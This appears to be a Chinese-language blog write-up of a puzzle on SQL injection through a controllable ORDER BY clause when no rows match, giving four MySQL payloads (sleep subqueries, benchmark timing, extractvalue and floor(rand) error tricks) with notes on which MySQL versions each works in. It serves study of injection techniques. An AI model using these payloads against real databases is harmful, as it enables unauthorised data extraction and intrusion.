order by子句注入
简介
order by后面可控。在没有数据的时候如何使用时间延迟盲注。例如:
select * from users where 0 order by 可控
解答1
mysql> select 1 from test where 1=0;
Empty set (0.00 sec)
mysql> select 1 from test where 1=0 order by (select 1 from(select sleep(10))x);
Empty set (10.00 sec)
这个答案在5.5和5.7都可以执行。但是在5.6的条件下,延时注入无法使用。
当时雨师傅给出的示例答案如下:
select 1 from dual where 1=0 order by (select 1 from(select sleep(10))x);
但是这个答案仅仅只能在mysql5.7的条件下运行,在mysql的其他版本下则会出现语法错误。原因在于,在5.7之前,对dual表查出的记录不算实表的记录,不使用union子句无法使用order by。但是在5.7开始就可以。
解答2
select 1 from user where 0 order by (select 1 from user a join user b on if(1,benchmark(500000,sha(1)),1));
这个语句也仅仅只能在5.7的版本下执行,在5.5和5.6版本下无效。
解答3
select * from users where 0 order by id PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1);
其中的子句select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))));为报错语句。
这条语句(看不懂orz)在5.5之后的版本就已经无法执行了,因为高版本的mysql不支持PROCEDURE analyse加子句。
解答4
select * from user where 0 order BY (select 1 from(select count(*),concat((select (select (select concat(0x7e,sleep(10),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a);
其中的子句
SELECT
*
FROM user
WHERE 0
ORDER BY
id,
(SELECT
1
FROM (SELECT
count(*),
concat(
(SELECT
(SELECT
(SELECT
concat(0x7e, sleep(1), 0x7e)
)
)
FROM information_schema.tables
LIMIT 0, 1
), floor(rand(0) * 2)
) x
FROM information_schema.tables
GROUP BY x
) a
);
也是一条报错语句,但是写法确实不容易看懂,嵌套层次太多了(需要总结一波常见的报错语句了)。
这条语句也仅仅在mysql5.5的版本下有效,在5.6和5.7的版本下无效。
总结
这道题目不仅考察了sql的注入语法,还需要知道mysql的不同版本之间的差异性,还考察了语句之前执行的顺序。


浙公网安备 33010602011771号